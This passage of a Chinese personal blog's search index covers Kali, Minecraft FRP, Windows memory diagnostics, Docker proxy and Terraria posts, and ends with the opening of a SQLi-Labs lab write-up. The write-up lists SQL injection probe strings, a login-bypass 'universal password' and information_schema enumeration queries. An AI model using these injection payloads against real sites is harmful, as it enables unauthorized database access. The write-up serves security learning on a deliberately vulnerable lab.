2\u0026gt;/dev/null mv ~/图片 ~/Pictures 2\u0026gt;/dev/null mv ~/视频 ~/Videos 2\u0026gt;/dev/null ","date":"2025-12-11","objectID":"/posts/2025/kali-xdg-user-dirs/:2:0","tags":[],"title":"Kali 当前用户目录中英文修改","uri":"/posts/2025/kali-xdg-user-dirs/#方式2-手动分步执行"},{"categories":["ops"],"collections":null,"content":"3. 验证 注销或重启图形会话 → 打开文件管理器 → 家目录应全部显示英文： Desktop Downloads Templates Public Documents Music Pictures Videos ","date":"2025-12-11","objectID":"/posts/2025/kali-xdg-user-dirs/:3:0","tags":[],"title":"Kali 当前用户目录中英文修改","uri":"/posts/2025/kali-xdg-user-dirs/#3-验证"},{"categories":["ops"],"collections":null,"content":"4. 恢复中文目录 改回中文，执行： export LANG=zh_CN.UTF-8 xdg-user-dirs-update 随后手动把目录名字改回中文即可。 ","date":"2025-12-11","objectID":"/posts/2025/kali-xdg-user-dirs/:4:0","tags":[],"title":"Kali 当前用户目录中英文修改","uri":"/posts/2025/kali-xdg-user-dirs/#4-恢复中文目录"},{"categories":["ops"],"collections":null,"content":"5. 注意事项 仅影响当前用户，系统语言、登录界面等保持不变。 依赖 xdg-user-dirs，Kali 默认已安装；若缺失 sudo apt install xdg-user-dirs。 对基于 XFCE/GNOME/KDE 的 Kali 均有效。 完。 ","date":"2025-12-11","objectID":"/posts/2025/kali-xdg-user-dirs/:5:0","tags":[],"title":"Kali 当前用户目录中英文修改","uri":"/posts/2025/kali-xdg-user-dirs/#5-注意事项"},{"categories":["gaming"],"collections":null,"content":"联机？","date":"2025-12-11","objectID":"/posts/2025/minecraft-frp-multiplayer/","tags":[],"title":"Minecraft联机教程：使用阿里云搭建FRP服务器实现内网穿透（局域网联机）","uri":"/posts/2025/minecraft-frp-multiplayer/"},{"categories":["gaming"],"collections":null,"content":"联机？ ","date":"2025-12-11","objectID":"/posts/2025/minecraft-frp-multiplayer/:0:0","tags":[],"title":"Minecraft联机教程：使用阿里云搭建FRP服务器实现内网穿透（局域网联机）","uri":"/posts/2025/minecraft-frp-multiplayer/#"},{"categories":["gaming"],"collections":null,"content":"Minecraft联机教程：使用阿里云搭建FRP服务器实现内网穿透（局域网联机） 在和朋友玩Minecraft（我的世界）、terraria（泰拉瑞亚）这些游戏进行联机，使用stram以及mc官方的服务器进行游戏的时候，会出现网络波动较为严重、偶尔掉线的问题，使用樱花frp、花生壳 等公共内网穿透服务虽然方便、免费，但是受限于连接数量以及人数使用，网络波动较大（当然，付费之后网络是比免费的要好一些的）。 在最近进行联机的时候我选择了frp+aliyun进行内网穿透来进行mc游戏联机，顺便编写了这边教程。 ","date":"2025-12-11","objectID":"/posts/2025/minecraft-frp-multiplayer/:0:0","tags":[],"title":"Minecraft联机教程：使用阿里云搭建FRP服务器实现内网穿透（局域网联机）","uri":"/posts/2025/minecraft-frp-multiplayer/#minecraft联机教程使用阿里云搭建frp服务器实现内网穿透局域网联机"},{"categories":["gaming"],"collections":null,"content":"前置条件 一个阿里云账号：云平台账号用于创建云服务器进行穿透，阿里云需要账户里有100以上的余额才能创建按量付费的云主机，不想用阿里云可以使用其他云平台，地址: https://cn.aliyun.com/ frp：在发布页下载合适的压缩包 https://github.com/fatedier/frp ","date":"2025-12-11","objectID":"/posts/2025/minecraft-frp-multiplayer/:1:0","tags":[],"title":"Minecraft联机教程：使用阿里云搭建FRP服务器实现内网穿透（局域网联机）","uri":"/posts/2025/minecraft-frp-multiplayer/#前置条件"},{"categories":["gaming"],"collections":null,"content":"服务器部分 打开阿里云的控制台，找到左边的三条横杠-\u0026gt;全部-\u0026gt;计算-\u0026gt;云服务器 创建实例，选择合适的规格之后进行创建 设置安全组 开放端口7000，25565，22，81 端口 作用 7000 frp进行连接 25565 mc进行联机 22 远程控制 81 这个是我用来存放mod，mc启动器，等等资源的端口，不需要使用的时候可以关闭。 启动之后，连接到云服务器，本地下载frp，并上传。 我这里使用的是mobaxterm进行远程连接的，上传比较方便 将frp下载到本地，官网链接:https://github.com/fatedier/frp （网络连接好也可以直接下载到服务器） wget https://github.com/fatedier/frp/releases/download/v0.65.0/frp_0.65.0_linux_amd64.tar.gz 下载完成之后上传到服务器，解压，并进入到目录下 # ls frp_0.65.0_linux_amd64.tar.gz ~# tar -xf frp_0.65.0_linux_amd64.tar.gz ~# ls frp_0.65.0_linux_amd64 frp_0.65.0_linux_amd64.tar.gz ~# cd frp_0.65.0_linux_amd64/ # ls frpc frpc.toml frps frps.toml LICENSE # cat frps.toml bindPort = 7000 这里frpc 和 frpc.toml 是客户端文件，现在可以不用管，frps.toml 是服务端文件，没有什么需求的话也不用改，这里我们使用tmux，防止本地网络波动或操作过程切换网络导致服务端shell掉线，在终端输入tmux之后可以启动服务端了， # ./frps -c frps.toml 2025-12-11 11:23:21.657 [I] [frps/root.go:108] frps uses config file: frps.toml 2025-12-11 11:23:21.745 [I] [server/service.go:236] frps tcp listen on 0.0.0.0:7000 2025-12-11 11:23:21.745 [I] [frps/root.go:117] frps started successfully 显示 successfully 启动成功 在命令行输入以下地址，其他玩家可以用\u0026lt;IP\u0026gt;:\u0026lt;PORT\u0026gt;来访问你的服务器下载东西，可以利用python，上传整合包到服务器，让其他玩家进行下载 python3 -m http.server 81 ","date":"2025-12-11","objectID":"/posts/2025/minecraft-frp-multiplayer/:2:0","tags":[],"title":"Minecraft联机教程：使用阿里云搭建FRP服务器实现内网穿透（局域网联机）","uri":"/posts/2025/minecraft-frp-multiplayer/#服务器部分"},{"categories":["gaming"],"collections":null,"content":"客户端部分 这里的本地游戏客户端是Windows11，回到frp下载合适版本 wget https://github.com/fatedier/frp/releases/download/v0.65.0/frp_0.65.0_windows_amd64.zip 解压之后进入目录，同样显示几个文件（我这里使用的pwsh，也可以使用解压软件直接右击手动解压） PS C:\\Users\\Leo\u0026gt; set-Location D:\\new\\ PS D:\\new\u0026gt; get-ChildItem Directory: D:\\new Mode LastWriteTime Length Name ---- ------------- ------ ---- -a--- 2025-12-11 11:26 27543880 frp_0.65.0_windows_amd64.zip PS D:\\new\\frp_0.65.0_windows_amd64\u0026gt; Expand-Archive -Path .\\frp_0.65.0_windows_amd64.zip -DestinationPath .\\ PS D:\\new\\frp_0.65.0_windows_amd64\u0026gt; get-ChildItem Directory: D:\\new\\frp_0.65.0_windows_amd64 Mode LastWriteTime Length Name ---- ------------- ------ ---- -a--- 2025-12-7 3:24 13794497 frp_0.65.0_windows_amd64.zip -a--- 2025-9-25 20:28 16414208 frpc.exe -a--- 2025-12-6 20:47 431 frpc.toml -a--- 2025-9-25 20:28 20792320 frps.exe -a--- 2025-9-25 20:31 16 frps.toml -a--- 2025-9-25 20:31 11358 LICENSE 这里同样有frpc.exe、frpc.toml、frps.exe、frps.toml 这几个文件，现在配置客户端frpc.toml配置文件 使用文本编辑软件如记事本、vim、vscode之类的编辑frpc.toml，最后内容为 Get-Content .\\frpc.toml # frp服务端地址（改为你的frps服务器IP） serverAddr = \u0026#34;x.x.x.x\u0026#34; serverPort = 7000 # Minecraft局域网联机转发配置 - TCP（备用） [[proxies]] name = \u0026#34;minecraft-tcp\u0026#34; type = \u0026#34;tcp\u0026#34; localIP = \u0026#34;127.0.0.1\u0026#34; localPort = 25565 remotePort = 25565 # Minecraft局域网联机转发配置 - UDP（主要） [[proxies]] name = \u0026#34;minecraft-udp\u0026#34; type = \u0026#34;udp\u0026#34; localIP = \u0026#34;127.0.0.1\u0026#34; localPort = 25565 remotePort = 25566 启动客户端frp，出现start proxy success链接成功 PS D:\\new\\frp_0.65.0_windows_amd64\u0026gt; .\\frpc.exe -c .\\frpc.toml ","date":"2025-12-11","objectID":"/posts/2025/minecraft-frp-multiplayer/:3:0","tags":[],"title":"Minecraft联机教程：使用阿里云搭建FRP服务器实现内网穿透（局域网联机）","uri":"/posts/2025/minecraft-frp-multiplayer/#客户端部分"},{"categories":["gaming"],"collections":null,"content":"Minecraft 部分 主机：打开游戏-\u0026gt;单人游戏-\u0026gt;设置-\u0026gt;开启局域网联机 其他：打开游戏-\u0026gt;多人游戏-\u0026gt;直接连接/添加服务器-\u0026gt;写入frp公网ip地址-\u0026gt;加入服务器 \u0026mdash;结束 ","date":"2025-12-11","objectID":"/posts/2025/minecraft-frp-multiplayer/:4:0","tags":[],"title":"Minecraft联机教程：使用阿里云搭建FRP服务器实现内网穿透（局域网联机）","uri":"/posts/2025/minecraft-frp-multiplayer/#minecraft-部分"},{"categories":["ops"],"collections":null,"content":"用系统自带的 Windows 内存诊断工具排查内存条硬件故障 —— 启动方式、8 项测试的含义，以及如何解读最终结果。","date":"2025-12-04","objectID":"/posts/2025/windows-memory-diagnostic/","tags":["Windows","硬件诊断","系统工具"],"title":"Windows 内存诊断工具使用笔记","uri":"/posts/2025/windows-memory-diagnostic/"},{"categories":["ops"],"collections":null,"content":" 快速判断内存条是否存在硬件级故障，最省事的办法就是跑一遍系统自带的 Windows 内存诊断工具。整个过程无需第三方软件，支持中文提示，10~30 分钟出结果。 ","date":"2025-12-04","objectID":"/posts/2025/windows-memory-diagnostic/:0:0","tags":["Windows","硬件诊断","系统工具"],"title":"Windows 内存诊断工具使用笔记","uri":"/posts/2025/windows-memory-diagnostic/#"},{"categories":["ops"],"collections":null,"content":"1 适用场景 症状 是否推荐 随机蓝屏（MEMORY_MANAGEMENT、IRQL 等） ✅ 强烈推荐 死机、重启、程序无征兆崩溃 ✅ 新装/更换内存后稳定性验证 ✅ 想跑 MemTest86 但没 U 盘 ✅ 可先跑这个 ","date":"2025-12-04","objectID":"/posts/2025/windows-memory-diagnostic/:1:0","tags":["Windows","硬件诊断","系统工具"],"title":"Windows 内存诊断工具使用笔记","uri":"/posts/2025/windows-memory-diagnostic/#1-适用场景"},{"categories":["ops"],"collections":null,"content":"2 操作流程 ","date":"2025-12-04","objectID":"/posts/2025/windows-memory-diagnostic/:2:0","tags":["Windows","硬件诊断","系统工具"],"title":"Windows 内存诊断工具使用笔记","uri":"/posts/2025/windows-memory-diagnostic/#2-操作流程"},{"categories":["ops"],"collections":null,"content":"2.1 启动工具 Win + R → 输入 mdsched.exe 弹出窗口选择 立即重新启动并检查问题（推荐） （所有未保存文件会丢失，请先保存。） ","date":"2025-12-04","objectID":"/posts/2025/windows-memory-diagnostic/:2:1","tags":["Windows","硬件诊断","系统工具"],"title":"Windows 内存诊断工具使用笔记","uri":"/posts/2025/windows-memory-diagnostic/#21-启动工具"},{"categories":["ops"],"collections":null,"content":"2.2 自动重启 \u0026amp; 检测 机器将重启进入蓝底白字的 Windows Memory Diagnostic 界面。 默认执行 Standard（标准） 检测： 包含 8 种连续读写测试 耗时约 10~30 分钟（取决于内存大小/频率） 按 F1 可切换为 Basic / Extended 模式，一般保持默认即可。 ","date":"2025-12-04","objectID":"/posts/2025/windows-memory-diagnostic/:2:2","tags":["Windows","硬件诊断","系统工具"],"title":"Windows 内存诊断工具使用笔记","uri":"/posts/2025/windows-memory-diagnostic/#22-自动重启--检测"},{"categories":["ops"],"collections":null,"content":"2.3 完成 \u0026amp; 再次重启 进度条走到 100% 后，系统将 自动重启回到桌面。 不会在测试界面显示最终结果，需下一步查看日志。 ","date":"2025-12-04","objectID":"/posts/2025/windows-memory-diagnostic/:2:3","tags":["Windows","硬件诊断","系统工具"],"title":"Windows 内存诊断工具使用笔记","uri":"/posts/2025/windows-memory-diagnostic/#23-完成--再次重启"},{"categories":["ops"],"collections":null,"content":"3 查看结果 Win + X → 事件查看器 （或在运行输入 eventvwr.msc）eventvwr.exe、eventvwr 也可以 导航到 Windows 日志 → 系统 右侧 筛选当前日志 → 事件来源选择 MemoryDiagnostics-Results 双击最新一条信息事件，可看到如下字样： 在 2025-12-04T10:20:46.000Z 执行的内存诊断测试已完成，未检测到硬件错误。 如果出现 检测到硬件错误，则内存条或插槽大概率有问题。 ","date":"2025-12-04","objectID":"/posts/2025/windows-memory-diagnostic/:3:0","tags":["Windows","硬件诊断","系统工具"],"title":"Windows 内存诊断工具使用笔记","uri":"/posts/2025/windows-memory-diagnostic/#3-查看结果"},{"categories":["ops"],"collections":null,"content":"4 常见问题 FAQ 问题 解决方案 找不到 MemoryDiagnostics-Results 确认已跑完测试并已重启；有时需等几分钟日志才会写入。 检测卡在 21%、87% 不动 通常仍在运行，可等待 1 小时；若长时间不动，强制关机后重跑。 提示硬件错误 逐条内存单插重跑，定位故障条；或换插槽排除主板问题。 ","date":"2025-12-04","objectID":"/posts/2025/windows-memory-diagnostic/:4:0","tags":["Windows","硬件诊断","系统工具"],"title":"Windows 内存诊断工具使用笔记","uri":"/posts/2025/windows-memory-diagnostic/#4-常见问题-faq"},{"categories":["ops"],"collections":null,"content":"5 与 MemTest86 的对比 维度 Windows 内存诊断 MemTest86 安装介质 无需 需制作启动 U 盘 检测深度 ★★★ ★★★★★ 运行环境 Windows 重启后 裸机（脱离系统） 耗时 10~30 min 28 h（24 Pass） 结论 快速筛查 权威级验证 建议：先跑 Windows 内存诊断，如有报错再考虑 MemTest86 深度验证。 结论：Windows 内存诊断工具足以应对 90% 的日常排障场景；零成本、易上手，推荐作为内存稳定性检查的第一站。 ​ ","date":"2025-12-04","objectID":"/posts/2025/windows-memory-diagnostic/:5:0","tags":["Windows","硬件诊断","系统工具"],"title":"Windows 内存诊断工具使用笔记","uri":"/posts/2025/windows-memory-diagnostic/#5-与-memtest86-的对比"},{"categories":["ops"],"collections":null,"content":"kali 你这么更新的吗？","date":"2025-11-20","objectID":"/posts/2025/kali-httpx-python-conflict/","tags":[],"title":"kali httpx 和 python 冲突问题解决","uri":"/posts/2025/kali-httpx-python-conflict/"},{"categories":["ops"],"collections":null,"content":"kali 你这么更新的吗？ ","date":"2025-11-20","objectID":"/posts/2025/kali-httpx-python-conflict/:0:0","tags":[],"title":"kali httpx 和 python 冲突问题解决","uri":"/posts/2025/kali-httpx-python-conflict/#"},{"categories":["ops"],"collections":null,"content":"kali httpx 和 python 冲突问题解决 ","date":"2025-11-20","objectID":"/posts/2025/kali-httpx-python-conflict/:0:0","tags":[],"title":"kali httpx 和 python 冲突问题解决","uri":"/posts/2025/kali-httpx-python-conflict/#kali-httpx-和-python-冲突问题解决"},{"categories":["ops"],"collections":null,"content":"问题原因 今天（2025/11/20）使用kali的时候发现httpx无法正常使用了，排查了一会发现是python-httpx和go的httpx冲突了，导致进行网站探活的go的httpx无法正常使用…… ","date":"2025-11-20","objectID":"/posts/2025/kali-httpx-python-conflict/:1:0","tags":[],"title":"kali httpx 和 python 冲突问题解决","uri":"/posts/2025/kali-httpx-python-conflict/#问题原因"},{"categories":["ops"],"collections":null,"content":"解决方案 卸载python-httpx 使用go安装 以下内容全部使用root账号进行 卸载python-httpx # 检查 httpx 是否通过 apt 安装 dpkg -l | grep python3-httpx # 卸载系统包 sudo apt remove python3-httpx -y # 清理残留 sudo apt autoremove -y 使用 go install（最新版本） 这里使用过apt install httpx-toolkit -y，但是httpx还是不能用 # 安装 Go（如果未安装） sudo apt install golang -y # 安装 httpx go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest 这时 ~/go/bin/ 下面应该有一个httpx # ls -liah ~/go/bin/httpx 7360654 -rwxr-xr-x 1 root root 61M Nov 20 21:16 /root/go/bin/httpx 将二进制文件httpx移动到 /usr/bin/ 下，httpx正常使用 也可以将 ~/go/bin/ 添加到PATH变量 cp ~/go/bin/httpx /usr/bin/ 验证： # httpx -version __ __ __ _ __ / /_ / /_/ /_____ | |/ / / __ \\/ __/ __/ __ \\| / / / / / /_/ /_/ /_/ / | /_/ /_/\\__/\\__/ .___/_/|_| /_/ projectdiscovery.io [INF] Current Version: v1.7.2 ","date":"2025-11-20","objectID":"/posts/2025/kali-httpx-python-conflict/:2:0","tags":[],"title":"kali httpx 和 python 冲突问题解决","uri":"/posts/2025/kali-httpx-python-conflict/#解决方案"},{"categories":["ops"],"collections":null,"content":"Docker 代理 \u003cC-c\u003e \u003cC-v\u003e","date":"2025-11-19","objectID":"/posts/2025/docker-proxy/","tags":[],"title":"Docker 代理","uri":"/posts/2025/docker-proxy/"},{"categories":["ops"],"collections":null,"content":"Docker 代理 \u0026lt;C-c\u0026gt; \u0026lt;C-v\u0026gt; ","date":"2025-11-19","objectID":"/posts/2025/docker-proxy/:0:0","tags":[],"title":"Docker 代理","uri":"/posts/2025/docker-proxy/#"},{"categories":["ops"],"collections":null,"content":"Docker 代理 创建 docker.service.d 目录 sudo mkdir /etc/systemd/system/docker.service.d/ 修改代理 将 proxy-server:port 改为自己的代理地址和端口 sudo tee /etc/systemd/system/docker.service.d/proxy.conf \u0026lt;\u0026lt; EOF [Service] Environment=\u0026#34;HTTP_PROXY=http://proxy-server:port\u0026#34; Environment=\u0026#34;HTTPS_PROXY=http://proxy-server:port\u0026#34; Environment=\u0026#34;NO_PROXY=localhost,127.0.0.1\u0026#34; EOF 重新加载 systemd 配置 sudo systemctl daemon-reload 重启 Docker 服务 sudo systemctl restart docker 验证（搜个ubuntu看看） sudo docker search ubuntu ","date":"2025-11-19","objectID":"/posts/2025/docker-proxy/:0:0","tags":[],"title":"Docker 代理","uri":"/posts/2025/docker-proxy/#docker-代理"},{"categories":["gaming"],"collections":null,"content":"泰拉网络！","date":"2025-11-17","objectID":"/posts/2025/terraria-pylon-layout/","tags":[],"title":"Terraria NPC晶塔布置方案","uri":"/posts/2025/terraria-pylon-layout/"},{"categories":["gaming"],"collections":null,"content":"泰拉网络！ ","date":"2025-11-17","objectID":"/posts/2025/terraria-pylon-layout/:0:0","tags":[],"title":"Terraria NPC晶塔布置方案","uri":"/posts/2025/terraria-pylon-layout/#"},{"categories":["gaming"],"collections":null,"content":"Terraria泰拉瑞亚 NPC晶塔布置方案 ","date":"2025-11-17","objectID":"/posts/2025/terraria-pylon-layout/:0:0","tags":[],"title":"Terraria NPC晶塔布置方案","uri":"/posts/2025/terraria-pylon-layout/#terraria泰拉瑞亚-npc晶塔布置方案"},{"categories":["gaming"],"collections":null,"content":"激活条件 核心要求：晶塔周围169×124格内需有2个以上有房屋的NPC 传送网络：至少需要2个激活的晶塔才能相互传送 ","date":"2025-11-17","objectID":"/posts/2025/terraria-pylon-layout/:1:0","tags":[],"title":"Terraria NPC晶塔布置方案","uri":"/posts/2025/terraria-pylon-layout/#激活条件"},{"categories":["gaming"],"collections":null,"content":"最优NPC组合推荐 晶塔位置 主要NPC 备用NPC 备注 森林晶塔 动物学家、巫医 高尔夫球手 商人和高尔夫球手就放到森林晶塔，复活点放护士，方便回血 雪原晶塔 机械师、哥布林工匠 机器侠 机器侠放到雪原晶塔 沙漠晶塔 染料商、军火商 油漆工 油漆工前期放丛林，后期巫医来了可以放沙漠 洞穴晶塔 酒馆老板、爆破专家 服装商 服装商放洞穴晶塔 海洋晶塔 海盗、渔夫 酒馆老板 酒馆老板看情况放置 丛林晶塔 树妖、油漆工、巫医 动物学家 动物学家和巫医放森林晶塔，树妖后期放蘑菇晶塔 神圣晶塔 巫师、派对女孩 树妖、护士 树妖先放丛林，后期放蘑菇晶塔 蘑菇晶塔 松露人、树妖 向导 向导到工作站附近 ","date":"2025-11-17","objectID":"/posts/2025/terraria-pylon-layout/:2:0","tags":[],"title":"Terraria NPC晶塔布置方案","uri":"/posts/2025/terraria-pylon-layout/#最优npc组合推荐"},{"categories":["gaming"],"collections":null,"content":"森林晶塔布置 主要居民：动物学家、巫医 备用居民：高尔夫球手 策略：商人和高尔夫球手安排在森林晶塔，复活点设置护士方便回血 ","date":"2025-11-17","objectID":"/posts/2025/terraria-pylon-layout/:2:1","tags":[],"title":"Terraria NPC晶塔布置方案","uri":"/posts/2025/terraria-pylon-layout/#森林晶塔布置"},{"categories":["gaming"],"collections":null,"content":"沙漠晶塔布置 策略：油漆工前期放置在丛林，后期巫医到位后可转移至沙漠 ","date":"2025-11-17","objectID":"/posts/2025/terraria-pylon-layout/:2:2","tags":[],"title":"Terraria NPC晶塔布置方案","uri":"/posts/2025/terraria-pylon-layout/#沙漠晶塔布置"},{"categories":["gaming"],"collections":null,"content":"丛林晶塔布置 策略：动物学家和巫医优先安排在森林晶塔，树妖后期转移到蘑菇晶塔 ","date":"2025-11-17","objectID":"/posts/2025/terraria-pylon-layout/:2:3","tags":[],"title":"Terraria NPC晶塔布置方案","uri":"/posts/2025/terraria-pylon-layout/#丛林晶塔布置"},{"categories":["gaming"],"collections":null,"content":"神圣晶塔布置 策略：树妖先安排在丛林，后期转移到蘑菇晶塔 ","date":"2025-11-17","objectID":"/posts/2025/terraria-pylon-layout/:2:4","tags":[],"title":"Terraria NPC晶塔布置方案","uri":"/posts/2025/terraria-pylon-layout/#神圣晶塔布置"},{"categories":["gaming"],"collections":null,"content":"蘑菇晶塔布置 策略：树妖后期迁移至此，向导安排在工作站附近 ","date":"2025-11-17","objectID":"/posts/2025/terraria-pylon-layout/:2:5","tags":[],"title":"Terraria NPC晶塔布置方案","uri":"/posts/2025/terraria-pylon-layout/#蘑菇晶塔布置"},{"categories":["security"],"collections":null,"content":"SQLi-Labs Less-1 ~ Less-13 通关记录：从联合查询、报错注入到布尔/时间盲注，逐关整理注入点判断与 payload。","date":"2025-11-17","objectID":"/posts/2025/sqli-libs-writeup/","tags":["SQL注入","Web安全","MySQL"],"title":"sqli-libs writeup（Less-1 至 Less-13）","uri":"/posts/2025/sqli-libs-writeup/"},{"categories":["security"],"collections":null,"content":"sqli-libs writeup ","date":"2025-11-17","objectID":"/posts/2025/sqli-libs-writeup/:0:0","tags":["SQL注入","Web安全","MySQL"],"title":"sqli-libs writeup（Less-1 至 Less-13）","uri":"/posts/2025/sqli-libs-writeup/#sqli-libs-writeup"},{"categories":["security"],"collections":null,"content":"前置知识 ","date":"2025-11-17","objectID":"/posts/2025/sqli-libs-writeup/:1:0","tags":["SQL注入","Web安全","MySQL"],"title":"sqli-libs writeup（Less-1 至 Less-13）","uri":"/posts/2025/sqli-libs-writeup/#前置知识"},{"categories":["security"],"collections":null,"content":"使用工具： hacker —— SQL注入工具 ZeroOmega —— 代理工具 使用函数： 系统函数 database() —— 当前数据库 version() —— MySQL版本 user() —— 数据库用户名 database() —— 数据库名 @@datadir —— 数据库路径 @@version_compile_os —— 操作系统版本 字符串连接函数 concat(str1,str2,\u0026hellip;) —— 没有分隔符地连接字符串 concat_ws(separator,str1,str2,\u0026hellip;) —— 带有分隔符地连接字符串 group_concat(str1,str2,\u0026hellip;) —— 连接一个组的所有字符串，并以逗号分隔每一条数据，将查询结果放到同一个位置 辅助函数 Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。 使用条件： 必须有权限读取并且文件必须完全可读 and (select count(*) from mysql.user)\u0026gt;0 /* 如果结果返回正常,说明具有读写权限。 and (select count(*) from mysql.user)\u0026gt;0 /* 返回错误，应该是管理员给数据库帐户降权 欲读取文件必须在服务器上 必须指定文件完整的路径 欲读取文件必须小于 max_allowed_packet ","date":"2025-11-17","objectID":"/posts/2025/sqli-libs-writeup/:1:1","tags":["SQL注入","Web安全","MySQL"],"title":"sqli-libs writeup（Less-1 至 Less-13）","uri":"/posts/2025/sqli-libs-writeup/#使用工具"},{"categories":["security"],"collections":null,"content":"注释： --+ 可以尝试# 或者POST注入时的-- a、--+a or 1=1--+ \u0026#39;or 1=1--+ \u0026#34;or 1=1--+ )or 1=1--+ \u0026#39;)or 1=1--+ \u0026#34;) or 1=1--+ \u0026#34;))or 1=1--+ ","date":"2025-11-17","objectID":"/posts/2025/sqli-libs-writeup/:1:2","tags":["SQL注入","Web安全","MySQL"],"title":"sqli-libs writeup（Less-1 至 Less-13）","uri":"/posts/2025/sqli-libs-writeup/#注释"},{"categories":["security"],"collections":null,"content":"联合查询 union 需要注意的是：union查询多个表的时候，列数要相同，比如第一个表查询了select 1,2，两个列，第二个表查询也是需要两个列union select 1,2 ","date":"2025-11-17","objectID":"/posts/2025/sqli-libs-writeup/:1:3","tags":["SQL注入","Web安全","MySQL"],"title":"sqli-libs writeup（Less-1 至 Less-13）","uri":"/posts/2025/sqli-libs-writeup/#联合查询"},{"categories":["security"],"collections":null,"content":"逻辑运算 万能密码 Select * from admin where username=’admin’ and password=’’or 1=1#’ and Select * from users where id=1 and 1=1; Select * from users where id=1 \u0026amp;\u0026amp; 1=1; Select * from users where id=1 \u0026amp; 1=1; 以上三个语句效果一样，但是\u0026amp;优先级大于= ","date":"2025-11-17","objectID":"/posts/2025/sqli-libs-writeup/:1:4","tags":["SQL注入","Web安全","MySQL"],"title":"sqli-libs writeup（Less-1 至 Less-13）","uri":"/posts/2025/sqli-libs-writeup/#逻辑运算"},{"categories":["security"],"collections":null,"content":"逻辑运算 万能密码 Select * from admin where username=’admin’ and password=’’or 1=1#’ and Select * from users where id=1 and 1=1; Select * from users where id=1 \u0026amp;\u0026amp; 1=1; Select * from users where id=1 \u0026amp; 1=1; 以上三个语句效果一样，但是\u0026amp;优先级大于= ","date":"2025-11-17","objectID":"/posts/2025/sqli-libs-writeup/:1:4","tags":["SQL注入","Web安全","MySQL"],"title":"sqli-libs writeup（Less-1 至 Less-13）","uri":"/posts/2025/sqli-libs-writeup/#万能密码"},{"categories":["security"],"collections":null,"content":"逻辑运算 万能密码 Select * from admin where username=’admin’ and password=’’or 1=1#’ and Select * from users where id=1 and 1=1; Select * from users where id=1 \u0026amp;\u0026amp; 1=1; Select * from users where id=1 \u0026amp; 1=1; 以上三个语句效果一样，但是\u0026amp;优先级大于= ","date":"2025-11-17","objectID":"/posts/2025/sqli-libs-writeup/:1:4","tags":["SQL注入","Web安全","MySQL"],"title":"sqli-libs writeup（Less-1 至 Less-13）","uri":"/posts/2025/sqli-libs-writeup/#and"},{"categories":["security"],"collections":null,"content":"注入流程（重点记忆 - 注入思路） 注入流程是整个SQL注入的一个地图，通过这个流程可以明确自己当前在做什么，接下来要做什么，最终目的是什么 ","date":"2025-11-17","objectID":"/posts/2025/sqli-libs-writeup/:1:5","tags":["SQL注入","Web安全","MySQL"],"title":"sqli-libs writeup（Less-1 至 Less-13）","uri":"/posts/2025/sqli-libs-writeup/#注入流程重点记忆---注入思路"},{"categories":["security"],"collections":null,"content":"关于information_schema 猜数据库 select schema_name from information_schema.schemata 猜某库的数据表 select table_name from information_schema.tables where table_schema=’xxxxx’ 猜某表的所有列 Select column_name from information_schema.columns where table_name=’xxxxx’ 获取某列的内容 Select * from 小技巧，可以再进行注入的时候本地打开一个数据库查看information_schema数据库，便于查看库表结构 ","date":"2025-11-17","objectID":"/posts/2025/sqli-libs-writeup/:1:6","tags":["SQL注入","Web安全","MySQL"],"title":"sqli-libs writeup（Less-1 至 Less-13）","uri":"/posts/2025/sqli-libs-writeup/#关于information_schema"},{"categories":["security"],"collections":null,"content":"注入方式 报错注入 在开发测试的过程中，数据在后端与数据库传参时，会输入一些非正常数据，导致数据库报错，而后端可能会把报错传回前端，这个时候我们可以根据报错信息对注入点进行测试，利用回显报错的这个方式叫做报错注入 盲注 在进行SQL注入的时候，如果没有回显，那就只能使用一些辅助函数进行注入，我们不知道报错内容，这个利用辅助函数进行判断是否存在注入的方式叫做盲注。 盲注一般分为布尔盲注，时间盲注，（还有报错盲注，这个我没有涉及过，具体的可以参考【独家连载】mysql注入天书（一）Basic Challenges）的Background-2 盲注的讲解部分。 ","date":"2025-11-17","objectID":"/posts/2025/sqli-libs-writeup/:1:7","tags":["SQL注入","Web安全","MySQL"],"title":"sqli-libs writeup（Less-1 至 Less-13）","uri":"/posts/2025/sqli-libs-writeup/#注入方式"},{"categories":["security"],"collections":null,"content":"注入方式 报错注入 在开发测试的过程中，数据在后端与数据库传参时，会输入一些非正常数据，导致数据库报错，而后端可能会把报错传回前端，这个时候我们可以根据报错信息对注入点进行测试，利用回显报错的这个方式叫做报错注入 盲注 在进行SQL注入的时候，如果没有回显，那就只能使用一些辅助函数进行注入，我们不知道报错内容，这个利用辅助函数进行判断是否存在注入的方式叫做盲注。 盲注一般分为布尔盲注，时间盲注，（还有报错盲注，这个我没有涉及过，具体的可以参考【独家连载】mysql注入天书（一）Basic Challenges）的Background-2 盲注的讲解部分。 ","date":"2025-11-17","objectID":"/posts/2025/sqli-libs-writeup/:1:7","tags":["SQL注入","Web安全","MySQL"],"title":"sqli-libs writeup（Less-1 至 Less-13）","uri":"/posts/2025/sqli-libs-writeup/#报错注入"},{"categories":["security"],"collections":null,"content":"注入方式 报错注入 在开发测试的过程中，数据在后端与数据库传参时，会输入一些非正常数据，导致数据库报错，而后端可能会把报错传回前端，这个时候我们可以根据报错信息对注入点进行测试，利用回显报错的这个方式叫做报错注入 盲注 在进行SQL注入的时候，如果没有回显，那就只能使用一些辅助函数进行注入，我们不知道报错内容，这个利用辅助函数进行判断是否存在注入的方式叫做盲注。 盲注一般分为布尔盲注，时间盲注，（还有报错盲注，这个我没有涉及过，具体的可以参考【独家连载】mysql注入天书（一）Basic Challenges）的Background-2 盲注的讲解部分。 ","date":"2025-11-17","objectID":"/posts/2025/sqli-libs-writeup/:1:7","tags":["SQL注入","Web安全","MySQL"],"title":"sqli-libs writeup（Less-1 至 Less-13）","uri":"/posts/2025/sqli-libs-writeup/#盲注"},{"categories":["security"],"collections":null,"content":"sqli-labs Basic Challenges (基本挑战) 1-22 ","date":"2025-11-17","objectID":"/posts/2025/sqli-libs-writeup/:2:0","tags":["SQL注入","Web安全","MySQL"],"title":"sqli-libs writeup（Less-1 至 Less-13）","uri":"/posts/2025/sqli-libs-writeup/#sqli-labs-basic-challenges-基本挑战-1-22"},{"categories":["security"],"collections":null,"content":"Less-1 GET - Error based - Single quotes String GET - 基于错误 - 单引号字符串 输入?id=1，返回正常页面 hackbar payload ?id=1 输入?id=1'回显报错，判断可能存在SQL注入，且是字符型注入 从回显分离出报错 \u0026#39;\u0026#39;1\u0026#39;\u0026#39; LIMIT 0,1\u0026#39; 